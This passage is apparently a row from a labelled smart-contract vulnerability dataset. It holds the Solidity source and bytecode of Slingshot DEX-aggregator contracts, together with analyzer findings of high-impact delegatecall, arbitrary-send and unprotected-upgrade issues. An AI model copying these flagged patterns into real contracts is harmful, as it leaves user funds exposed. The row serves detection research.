// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: None
pragma solidity >=0.7.5;
pragma abicoder v2;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./Initializable.sol";
/// @title Admin Role Contract
/// @author DEXAG, Inc.
/// @notice This contract is a utility for an admin role access.
abstract contract Adminable is Initializable, AccessControl {
bytes32 public SLINGSHOT_ADMIN_ROLE;
modifier onlyAdmin() {
require(hasRole(SLINGSHOT_ADMIN_ROLE, _msgSender()), "Adminable: not an admin");
_;
}
/// @param role role hash
modifier onlyRole(bytes32 role) {
require(hasRole(role, _msgSender()), "Adminable: not a role");
_;
}
modifier onlyAdminIfInitialized() {
if (isInitialized()) {
// if admin is set, require admin to be msg.sender
if(getRoleMemberCount(SLINGSHOT_ADMIN_ROLE) > 0) {
require(hasRole(SLINGSHOT_ADMIN_ROLE, _msgSender()), "Adminable: not an admin");
_;
}
// if no admin is set, just silently skip the execution. Proxy owner
// and slingshot admin may be two separate wallets so we don't revert
// the transaction to avoid jeopardizing contract implementation deployment
// - at these gas prices, it'd be almost a crime if we did.
} else {
// if not initialized, just let it execute
_;
}
}
/// @notice Set default admin role
/// @param _admin Address to control admin functions
function initializeAdmin(address _admin) internal initializer {
SLINGSHOT_ADMIN_ROLE = keccak256("SLINGSHOT_ADMIN_ROLE");
_setRoleAdmin(SLINGSHOT_ADMIN_ROLE, SLINGSHOT_ADMIN_ROLE);
_setupRole(SLINGSHOT_ADMIN_ROLE, _admin);
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.7.5;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
function isInitialized() public view returns (bool) {
return _initialized;
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// SPDX-License-Identifier: None
pragma solidity >=0.7.5;
import "./Adminable.sol";
import "./module/ISlingshotModule.sol";
/// @title Module Registry Contract
/// @author DEXAG, Inc.
/// @notice This contract provides the logic for querying, maintaining, and updating Slingshot modules.
/// @dev When a new module is deployed, it must be registered. If the logic for a particular
/// DEX/AMM changes, a new module must be deployed and registered.
contract ModuleRegistry is Adminable {
/// @notice This is an index which indicates the validity of a module
mapping(address => bool) public modulesIndex;
/// @notice Slingshot.sol address
address public slingshot;
event ModuleRegistered(address moduleAddress);
event ModuleUnregistered(address moduleAddress);
event NewSlingshot(address oldAddress, address newAddress);
/// @notice Use this function for post upgrade setup
/// @param _admin Address to control admin functions
function postUpgrade(address _admin) external onlyAdminIfInitialized {
// skip when initialized
if (!isInitialized()) initialize(_admin);
// all other post upgrade setup below
}
/// @notice Initialization function for proxy setup
/// @param _admin Address to control admin functions
function initialize(address _admin) internal initializer {
initializeAdmin(_admin);
}
/// @notice Checks if given address is a module
/// @param _moduleAddress Address of the module in question
/// @return true if address is module
function isModule(address _moduleAddress) external view returns (bool) {
return modulesIndex[_moduleAddress];
}
/// @param _moduleAddress Address of the module to register
function registerSwapModule(address _moduleAddress) external onlyAdmin {
require(!modulesIndex[_moduleAddress], "oops module already exists");
require(ISlingshotModule(_moduleAddress).slingshotPing(), "not a module");
modulesIndex[_moduleAddress] = true;
emit ModuleRegistered(_moduleAddress);
}
/// @param _moduleAddress Address of the module to unregister
function unregisterSwapModule(address _moduleAddress) external onlyAdmin {
require(modulesIndex[_moduleAddress], "module NOT exist");
delete modulesIndex[_moduleAddress];
emit ModuleUnregistered(_moduleAddress);
}
/// @param _slingshot Slingshot.sol address implementation
function setSlingshot(address _slingshot) external onlyAdmin {
require(_slingshot != address(0x0), "slingshot is empty");
require(slingshot != _slingshot, "no changes to slingshot");
address oldAddress = slingshot;
slingshot = _slingshot;
emit NewSlingshot(oldAddress, _slingshot);
}
}
// SPDX-License-Identifier: None
pragma solidity >=0.7.5;
pragma abicoder v2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./Adminable.sol";
import "./lib/Strings.sol";
import "./ModuleRegistry.sol";
interface IWETH is IERC20 {
function deposit() external payable;
function balanceOf(uint256 amount) external returns (uint256);
function withdraw(uint256 amount) external;
}
/// @title Slingshot Trading Contract
/// @author DEXAG, Inc.
/// @notice This contract serves as the entrypoint for executing
/// a Slingshot transaction on-chain.
/// @dev The specific logic for each DEX/AMM is defined within its
/// own corresponding module that is stored in the module registry.
/// Slingshot.sol references these modules to appropriately execute a trade.
/// Slingshot.sol also performs some safety checks to account for slippage
/// and security. Slingshot.sol depends on the Slingshot backend to provide
/// the details of how a given transaction will be executed within a
/// particular market.
contract Slingshot is Adminable, Strings {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public ETH_ADDRESS;
IWETH public WETH;
struct TradeFormat {
address moduleAddress;
bytes encodedCalldata;
}
ModuleRegistry public moduleRegistry;
event Trade(
address indexed user,
address fromToken,
address toToken,
uint256 fromAmount,
uint256 toAmount,
address recipient
);
event NewModuleRegistry(address oldRegistry, address newRegistry);
/// @notice Use this function for post upgrade setup
/// @param _admin Address to control admin functions
function postUpgrade(address _admin) external onlyAdminIfInitialized {
// skip when initialized
if (!isInitialized()) initialize(_admin);
// all other post upgrade setup below
}
/// @notice Initialization function for proxy setup
/// @param _admin Address to control admin functions
function initialize(address _admin) internal initializer {
initializeAdmin(_admin);
ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
/// @notice Executes multi-hop trades to get the best result
/// It's up to BE to whitelist tokens
/// @param fromToken Start token address
/// @param toToken Target token address
/// @param fromAmount The initial amount of fromToken to start trading with
/// @param trades Array of encoded trades that are atomically executed
/// @param finalAmountMin The minimum expected output after all trades have been executed
/// @param recipient The address that will receive the output of a trade
function executeTrades(
address fromToken,
address toToken,
uint256 fromAmount,
TradeFormat[] calldata trades,
uint256 finalAmountMin,
address recipient
) public payable {
uint256 initialBalance = _getTokenBalance(toToken);
_transferFromOrWrap(fromToken, _msgSender(), fromAmount);
// Checks to make sure that module exists and is correct
for(uint256 i = 0; i < trades.length; i++) {
require(moduleRegistry.isModule(trades[i].moduleAddress), "Slingshot: not a module");
// delagatecall message is made on module contract, which is trusted
(bool success, bytes memory data) = trades[i].moduleAddress.delegatecall(trades[i].encodedCalldata);
require(success, appendString(prependNumber(i, ", Slingshot: swap failed: "), string(data)));
}
uint256 finalBalance = _getTokenBalance(toToken);
uint256 finalAmount = finalBalance.sub(initialBalance);
require(finalAmount >= finalAmountMin, "Slingshot: result is lower than required min");
emit Trade(_msgSender(), fromToken, toToken, fromAmount, finalAmount, recipient);
// Send to recipient address. Generally expected to be msg.sender, but can also be defined by user.
// This allows for more flexibility, but isn't necessary.
_sendFunds(toToken, recipient, finalAmount);
}
/// @notice Sets module registry used to verify modules
/// @param _moduleRegistry The address of module registry
function setModuleRegistry(address _moduleRegistry) external onlyAdmin {
address oldRegistry = address(moduleRegistry);
moduleRegistry = ModuleRegistry(_moduleRegistry);
emit NewModuleRegistry(oldRegistry, _moduleRegistry);
}
/// @notice In an unlikely scenario of tokens being send to this contract
/// allow admin to rescue them.
/// @param token The address of the token to rescue
/// @param to The address of recipient
/// @param amount The amount of the token to rescue
function rescueTokens(address token, address to, uint256 amount) external onlyAdmin {
if (token == ETH_ADDRESS) {
(bool success, ) = to.call{value: amount}("");
require(success, "Slingshot: ETH rescue failed.");
} else {
IERC20(token).safeTransfer(to, amount);
}
}
/// @notice Transfer tokens from sender to this contract or wraps ETH
/// @param fromToken The address of the token
/// @param from The address of sender that provides token
/// @param amount The amount of the token to transfer
function _transferFromOrWrap(address fromToken, address from, uint256 amount) internal {
// transfer tokens or wrap ETH
if (fromToken == ETH_ADDRESS) {
require(msg.value == amount, "Slingshot: incorrect ETH value");
WETH.deposit{value: amount}();
} else {
require(msg.value == 0, "Slingshot: should not send ETH");
IERC20(fromToken).safeTransferFrom(from, address(this), amount);
}
}
/// @notice Returns balance of the token
/// @param token The address of the token
/// @return balance of the token, defaults to WETH for ETH
function _getTokenBalance(address token) internal view returns (uint256) {
if (token == ETH_ADDRESS) {
return WETH.balanceOf(address(this));
} else {
return IERC20(token).balanceOf(address(this));
}
}
/// @notice Sends token funds. For ETH, it unwraps WETH
/// @param token The address of the token to send
/// @param to The address of recipient
/// @param amount The amount of the token to send
function _sendFunds(address token, address to, uint256 amount) internal {
if (token == ETH_ADDRESS) {
WETH.withdraw(amount);
(bool success, ) = to.call{value: amount}("");
require(success, "Slingshot: ETH Transfer failed.");
} else {
IERC20(token).safeTransfer(to, amount);
}
}
receive() external payable {}
}
// SPDX-License-Identifier: None
pragma solidity >=0.7.5;
/// @title Strings
/// @notice Utility library for strings
contract Strings {
/// @notice Concat two strings
/// @param str1 String to concat
/// @param str2 String to concat
/// @return result Concatenated strings
function appendString(string memory str1, string memory str2) public pure returns (string memory result) {
return string(abi.encodePacked(str1, str2));
}
/// @notice Concat number and string
/// @param i Number to concat
/// @param str String to concat
/// @return result Concatenated string and number
function prependNumber(uint256 i, string memory str) public pure returns (string memory result) {
if (i == 0) {
return string(abi.encodePacked("0", str));
}
return prependNumber(i / 10, string(abi.encodePacked(uint8((i % 10) + 48), str)));
}
}
// SPDX-License-Identifier: None
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Slingshot Abstract Module
/// @dev the only purpose of this is to allow for easy verification when adding new module
abstract contract ISlingshotModule {
function slingshotPing() public pure returns (bool) {
return true;
}
}
| 0x6080604052600436106101185760003560e01c8063a217fddf116100a0578063c79b243011610064578063c79b2430146102df578063ca15c873146102ff578063cea9d26f1461031f578063d547741f1461033f578063e6c68d9c1461035f5761011f565b8063a217fddf1461026b578063a734f06e14610280578063ad5c464814610295578063b95459e4146102aa578063c35085fb146102bf5761011f565b8063392e53cd116100e7578063392e53cd146101af57806343ec1d28146101d157806382a5be33146101f15780639010d07c1461021e57806391d148541461024b5761011f565b806306e7572214610124578063248a9ca3146101395780632f2ff15d1461016f57806336568abe1461018f5761011f565b3661011f57005b600080fd5b6101376101323660046117d9565b610374565b005b34801561014557600080fd5b506101596101543660046118ae565b610639565b6040516101669190611a42565b60405180910390f35b34801561017b57600080fd5b5061013761018a3660046118c6565b610651565b34801561019b57600080fd5b506101376101aa3660046118c6565b6106b8565b3480156101bb57600080fd5b506101c4610719565b6040516101669190611a37565b3480156101dd57600080fd5b506101376101ec366004611784565b610722565b3480156101fd57600080fd5b5061021161020c36600461198b565b6107ab565b6040516101669190611a4b565b34801561022a57600080fd5b5061023e6102393660046118f1565b6108bc565b60405161016691906119d9565b34801561025757600080fd5b506101c46102663660046118c6565b6108d4565b34801561027757600080fd5b506101596108ec565b34801561028c57600080fd5b5061023e6108f1565b3480156102a157600080fd5b5061023e610900565b3480156102b657600080fd5b5061023e61090f565b3480156102cb57600080fd5b506102116102da366004611912565b61091e565b3480156102eb57600080fd5b506101376102fa366004611784565b6109d9565b34801561030b57600080fd5b5061015961031a3660046118ae565b610a55565b34801561032b57600080fd5b5061013761033a36600461179e565b610a6c565b34801561034b57600080fd5b5061013761035a3660046118c6565b610b47565b34801561036b57600080fd5b50610159610ba0565b600061037f87610ba6565b90506103938861038d610c71565b88610c75565b60005b84811015610596576005546001600160a01b03166342f6e3898787848181106103bb57fe5b90506020028101906103cd9190611c80565b6103db906020810190611784565b6040518263ffffffff1660e01b81526004016103f791906119d9565b60206040518083038186803b15801561040f57600080fd5b505afa158015610423573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610447919061188e565b61046c5760405162461bcd60e51b815260040161046390611b21565b60405180910390fd5b6000606087878481811061047c57fe5b905060200281019061048e9190611c80565b61049c906020810190611784565b6001600160a01b03168888858181106104b157fe5b90506020028101906104c39190611c80565b6104d1906020810190611c34565b6040516104df9291906119c6565b600060405180830381855af49150503d806000811461051a576040519150601f19603f3d011682016040523d82523d6000602084013e61051f565b606091505b50915091508161056d610567856040518060400160405280601a81526020017f2c20536c696e6773686f743a2073776170206661696c65643a200000000000008152506107ab565b8361091e565b9061058b5760405162461bcd60e51b81526004016104639190611a4b565b505050600101610396565b5060006105a288610ba6565b905060006105b08284610d40565b9050848110156105d25760405162461bcd60e51b815260040161046390611a9e565b6105da610c71565b6001600160a01b03167fd0c707b5ea7a686e3488bec166c1433616af06ab4ffa10e059b6da789bff90ac8b8b8b858960405161061a959493929190611a07565b60405180910390a261062d898583610d9d565b50505050505050505050565b6000818152600160205260409020600201545b919050565b60008281526001602052604090206002015461066f90610266610c71565b6106aa5760405162461bcd60e51b815260040180806020018281038252602f815260200180611cc2602f913960400191505060405180910390fd5b6106b48282610e90565b5050565b6106c0610c71565b6001600160a01b0316816001600160a01b03161461070f5760405162461bcd60e51b815260040180806020018281038252602f815260200180611d9f602f913960400191505060405180910390fd5b6106b48282610ef9565b60005460ff1690565b610730600254610266610c71565b61074c5760405162461bcd60e51b815260040161046390611b58565b600580546001600160a01b038381166001600160a01b03198316179092556040519116907f318d2d1842c685cc3f443bcf18cbd2360ded5f5e0f803d558d2d92a5560e37ed9061079f90839085906119ed565b60405180910390a15050565b60608261082c57816040516020018080600360fc1b81525060010182805190602001908083835b602083106107f15780518252601f1990920191602091820191016107d2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405290506108b6565b6108b3600a8404600a850660300184604051602001808360ff1660f81b815260010182805190602001908083835b602083106108795780518252601f19909201916020918201910161085a565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040526107ab565b90505b92915050565b60008281526001602052604081206108b39083610f62565b60008281526001602052604081206108b39083610f6e565b600081565b6003546001600160a01b031681565b6004546001600160a01b031681565b6005546001600160a01b031681565b606082826040516020018083805190602001908083835b602083106109545780518252601f199092019160209182019101610935565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b6020831061099c5780518252601f19909201916020918201910161097d565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052905092915050565b6109e1610719565b15610a3d5760006109f3600254610a55565b1115610a3857610a07600254610266610c71565b610a235760405162461bcd60e51b815260040161046390611b58565b610a2b610719565b610a3857610a3881610f83565b610a52565b610a45610719565b610a5257610a5281610f83565b50565b60008181526001602052604081206108b690611076565b610a7a600254610266610c71565b610a965760405162461bcd60e51b815260040161046390611b58565b6003546001600160a01b0384811691161415610b2e576000826001600160a01b031682604051610ac5906119d6565b60006040518083038185875af1925050503d8060008114610b02576040519150601f19603f3d011682016040523d82523d6000602084013e610b07565b606091505b5050905080610b285760405162461bcd60e51b815260040161046390611b8f565b50610b42565b610b426001600160a01b0384168383611081565b505050565b600082815260016020526040902060020154610b6590610266610c71565b61070f5760405162461bcd60e51b8152600401808060200182810382526030815260200180611d176030913960400191505060405180910390fd5b60025481565b6003546000906001600160a01b0383811691161415610c4557600480546040516370a0823160e01b81526001600160a01b03909116916370a0823191610bee913091016119d9565b60206040518083038186803b158015610c0657600080fd5b505afa158015610c1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3e9190611973565b905061064c565b6040516370a0823160e01b81526001600160a01b038316906370a0823190610bee9030906004016119d9565b3390565b6003546001600160a01b0384811691161415610d0d57803414610caa5760405162461bcd60e51b815260040161046390611bc6565b6004805460408051630d0e30db60e41b815290516001600160a01b039092169263d0e30db0928592808301926000929182900301818588803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b5050505050610b42565b3415610d2b5760405162461bcd60e51b815260040161046390611bfd565b610b426001600160a01b0384168330846110d3565b600082821115610d97576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6003546001600160a01b0384811691161415610b2e5760048054604051632e1a7d4d60e01b81526001600160a01b0390911691632e1a7d4d91610de291859101611a42565b600060405180830381600087803b158015610dfc57600080fd5b505af1158015610e10573d6000803e3d6000fd5b505050506000826001600160a01b031682604051610e2d906119d6565b60006040518083038185875af1925050503d8060008114610e6a576040519150601f19603f3d011682016040523d82523d6000602084013e610e6f565b606091505b5050905080610b285760405162461bcd60e51b815260040161046390611aea565b6000828152600160205260409020610ea89082611133565b156106b457610eb5610c71565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152600160205260409020610f119082611148565b156106b457610f1e610c71565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b60006108b3838361115d565b60006108b3836001600160a01b0384166111c1565b600054610100900460ff1680610f9c5750610f9c6111d9565b80610faa575060005460ff16155b610fe55760405162461bcd60e51b815260040180806020018281038252602e815260200180611d47602e913960400191505060405180910390fd5b600054610100900460ff16158015611010576000805460ff1961ff0019909116610100171660011790555b611019826111df565b600380546001600160a01b031990811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee179091556004805490911673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217905580156106b4576000805461ff00191690555050565b60006108b6826112bd565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b429084906112c1565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261112d9085906112c1565b50505050565b60006108b3836001600160a01b038416611372565b60006108b3836001600160a01b0384166113bc565b8154600090821061119f5760405162461bcd60e51b8152600401808060200182810382526022815260200180611ca06022913960400191505060405180910390fd5b8260000182815481106111ae57fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b303b1590565b600054610100900460ff16806111f857506111f86111d9565b80611206575060005460ff16155b6112415760405162461bcd60e51b815260040180806020018281038252602e815260200180611d47602e913960400191505060405180910390fd5b600054610100900460ff1615801561126c576000805460ff1961ff0019909116610100171660011790555b7f7877fef97c92b5f3b5ebcb9fa91c63afd92c0678029d5da88bca355cc325895e600281905561129c9080611482565b6112a8600254836106aa565b80156106b4576000805461ff00191690555050565b5490565b6060611316826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166114d49092919063ffffffff16565b805190915015610b425780806020019051602081101561133557600080fd5b5051610b425760405162461bcd60e51b815260040180806020018281038252602a815260200180611d75602a913960400191505060405180910390fd5b600061137e83836111c1565b6113b4575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556108b6565b5060006108b6565b6000818152600183016020526040812054801561147857835460001980830191908101906000908790839081106113ef57fe5b906000526020600020015490508087600001848154811061140c57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061143c57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506108b6565b60009150506108b6565b600082815260016020526040808220600201549051839285917fbd79b86ffe0ab8e8776151514217cd7cacd52c909f66475c3af44e129f0b00ff9190a460009182526001602052604090912060020155565b60606114e384846000856114ed565b90505b9392505050565b60608247101561152e5760405162461bcd60e51b8152600401808060200182810382526026815260200180611cf16026913960400191505060405180910390fd5b61153785611649565b611588576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106115c75780518252601f1990920191602091820191016115a8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611629576040519150601f19603f3d011682016040523d82523d6000602084013e61162e565b606091505b509150915061163e82828661164f565b979650505050505050565b3b151590565b6060831561165e5750816114e6565b82511561166e5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116b85781810151838201526020016116a0565b50505050905090810190601f1680156116e55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b80356001600160a01b038116811461064c57600080fd5b600082601f83011261171a578081fd5b813567ffffffffffffffff8082111561172f57fe5b604051601f8301601f19168101602001828111828210171561174d57fe5b60405282815292508284830160200186101561176857600080fd5b8260208601602083013760006020848301015250505092915050565b600060208284031215611795578081fd5b6108b3826116f3565b6000806000606084860312156117b2578182fd5b6117bb846116f3565b92506117c9602085016116f3565b9150604084013590509250925092565b600080600080600080600060c0888a0312156117f3578283fd5b6117fc886116f3565b965061180a602089016116f3565b955060408801359450606088013567ffffffffffffffff8082111561182d578485fd5b818a0191508a601f830112611840578485fd5b81358181111561184e578586fd5b8b60208083028501011115611861578586fd5b6020830196508095505050506080880135915061188060a089016116f3565b905092959891949750929550565b60006020828403121561189f578081fd5b815180151581146114e6578182fd5b6000602082840312156118bf578081fd5b5035919050565b600080604083850312156118d8578182fd5b823591506118e8602084016116f3565b90509250929050565b60008060408385031215611903578182fd5b50508035926020909101359150565b60008060408385031215611924578182fd5b823567ffffffffffffffff8082111561193b578384fd5b6119478683870161170a565b9350602085013591508082111561195c578283fd5b506119698582860161170a565b9150509250929050565b600060208284031215611984578081fd5b5051919050565b6000806040838503121561199d578182fd5b82359150602083013567ffffffffffffffff8111156119ba578182fd5b6119698582860161170a565b6000828483379101908152919050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039586168152938516602085015260408401929092526060830152909116608082015260a00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b81811015611a7757858101830151858201604001528201611a5b565b81811115611a885783604083870101525b50601f01601f1916929092016040019392505050565b6020808252602c908201527f536c696e6773686f743a20726573756c74206973206c6f776572207468616e2060408201526b3932b8bab4b932b21036b4b760a11b606082015260800190565b6020808252601f908201527f536c696e6773686f743a20455448205472616e73666572206661696c65642e00604082015260600190565b60208082526017908201527f536c696e6773686f743a206e6f742061206d6f64756c65000000000000000000604082015260600190565b60208082526017908201527f41646d696e61626c653a206e6f7420616e2061646d696e000000000000000000604082015260600190565b6020808252601d908201527f536c696e6773686f743a2045544820726573637565206661696c65642e000000604082015260600190565b6020808252601e908201527f536c696e6773686f743a20696e636f7272656374204554482076616c75650000604082015260600190565b6020808252601e908201527f536c696e6773686f743a2073686f756c64206e6f742073656e64204554480000604082015260600190565b6000808335601e19843603018112611c4a578283fd5b83018035915067ffffffffffffffff821115611c64578283fd5b602001915036819003821315611c7957600080fd5b9250929050565b60008235603e19833603018112611c95578182fd5b919091019291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e74416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a65645361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220927a398827b63dc8732b41a83164d5835ec33da725ab1f8a7b798c90e3da78ee64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "delegatecall-loop", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unprotected-upgrade", "impact": "High", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'delegatecall-loop', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unprotected-upgrade', 'impact': 'High', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
7011,
2278,
2683,
20842,
22275,
2581,
2581,
2546,
17914,
2487,
2278,
2620,
4215,
2683,
7875,
2546,
2683,
12879,
3540,
2063,
21926,
2683,
2094,
2581,
2094,
22407,
2475,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
